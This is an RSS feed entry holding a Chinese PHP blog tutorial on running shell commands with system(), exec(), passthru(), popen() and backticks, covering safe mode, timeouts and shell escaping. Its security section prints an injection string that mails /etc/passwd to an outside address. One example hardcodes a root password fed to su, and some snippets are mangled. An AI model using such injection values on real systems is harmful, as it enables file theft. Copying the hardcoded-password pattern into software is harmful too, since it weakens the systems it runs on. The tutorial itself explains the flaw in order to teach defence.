<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[BIWEB开源PHP WMS系统创始人ArthurXF肖飞的blog]]></title> 
<link>http://www.bizeway.net/index.php</link> 
<description><![CDATA[网务通 - 网务公司发展之路]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[BIWEB开源PHP WMS系统创始人ArthurXF肖飞的blog]]></copyright>
<item>
<link>http://www.bizeway.net/read.php?</link>
<title><![CDATA[跟着ArthurXF来学习调用外部系统命令system() exec() passthru()]]></title> 
<author>ArthurXF &lt;arthurxf@gmail.com&gt;</author>
<category><![CDATA[PHP]]></category>
<pubDate>Thu, 06 Mar 2008 04:34:28 +0000</pubDate> 
<guid>http://www.bizeway.net/read.php?</guid> 
<description>
<![CDATA[ 
	<p>由于PHP基本是用于WEB程序开发的，所以调用外部系统命令安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制： <br /></p><p>执行外部命令 </p><p>在打开文件时有些限制 </p><p>连接MySQL数据库 </p><p>基于HTTP的认证 </p><p>在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是/usr/local/php/bin。 <br /></p><p>如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。 <br /></p><p>如何做？ <br /></p><p>在PHP中调用外部命令，可以用如下三种方法来实现： <br /></p><p>1） 用PHP提供的专门函数 <br /></p><p>PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。 <br /></p><p>system() <br /></p><p>原型：string system (string command [, int return_var]) <br /></p><p>system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。 <br /></p><p>例子： </p><p></p><p>system(&quot;/usr/local/bin/webalizer/webalizer&quot;); </p><p>?&gt; <br /></p><p>exec() <br /></p><p>原型：string exec (string command [, string array [, int return_var]]) <br /></p><p>exec()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二个参数时，才可以用第三个参数，用来取得命令执行的状态码。 </p><p>例子： <br /></p><p>exec(&quot;/bin/ls -l&quot;); </p><p>exec(&quot;/bin/ls -l&quot;, $res); </p><p>exec(&quot;/bin/ls -l&quot;, $res, $rc); </p><p>?&gt; <br /></p><p>passthru() <br /></p><p>原型：void passthru (string command [, int return_var]) <br /></p><p>passthru()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。 <br /></p><p>例子： <br /></p><p>header(&quot;Content-type: image/gif&quot;); </p><p>passthru(&quot;./ppmtogif hunte.ppm&quot;); </p><p>?&gt; <br /></p><p>2） 用popen()函数打开进程 <br /></p><p>上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。 <br /></p><p>popen()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭它。 <br /></p><p>例子1： </p><p></p><p>$fp=popen(&quot;/bin/ls -l&quot;, &quot;r&quot;); </p><p>?&gt; <br /></p><p>例子2（本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&amp;i=51）： </p><p></p><p>/* PHP中如何增加一个系统用户 </p><p>下面是一段例程，增加一个名字为james的用户, </p><p>root密码是 verygood。仅供参考 </p><p>*/ </p><p>$sucommand = &quot;su --login root --command&quot;; </p><p>$useradd = &quot;useradd &quot;; </p><p>$rootpasswd = &quot;verygood&quot;; </p><p>$user = &quot;james&quot;; </p><p>$user_add = sprintf(&quot;%s &quot;%s %s&quot;&quot;,$sucommand,$useradd,$user); </p><p>$fp = @popen($user_add,&quot;w&quot;); </p><p>@fputs($fp,$rootpasswd); </p><p>@pclose($fp); </p><p>?&gt; <br /></p><p>3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面） <br /></p><p>这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如： <br /></p><p>$res='/bin/ls -l'; </p><p>echo ' <br />'.$res.' <br />'; </p><p>?&gt; <br /></p><p>这个脚本的输出就象： <br /></p><p>hunte.gif </p><p>hunte.ppm </p><p>jpg.htm </p><p>jpg.jpg </p><p>passthru.php <br /></p><p>要考虑些什么？ <br /></p><p>要考虑两个问题：安全性和超时。 <br /></p><p>先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样： </p><p></p><p>system(&quot;mail $to &lt; products.txt&quot;); </p><p>echo &quot;我们的产品目录已经发送到你的信箱：$to&quot;; </p><p>?&gt; <br /></p><p>用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址： <br /></p><p>'--bla ; mail someone@domain.com &lt; /etc/passwd ;' <br /></p><p>那么这条命令最终变成： <br /></p><p>'mail --bla ; mail someone@domain.com &lt; /etc/passwd ; &lt; products.txt' <br /></p><p>我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。 <br /></p><p>幸好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（&gt;）和从文件读入（&lt;）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串就可以安全地作为命令的参数。 <br /></p><p>再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中，如： </p><p>system(&quot;/usr/local/bin/order_proc &gt; /tmp/null &amp;&quot;); </p><p>?&gt; </p><br/>Tags - <a href="tag.php?tag=%E5%A4%96%E9%83%A8%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4" rel="tag">外部系统命令</a>
]]>
</description>
</item><item>
<link>http://www.bizeway.net/read.php?&amp;guid=0#topreply</link>
<title><![CDATA[[评论] 跟着ArthurXF来学习调用外部系统命令system() exec() passthru()]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.bizeway.net/read.php?&amp;guid=0#topreply</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>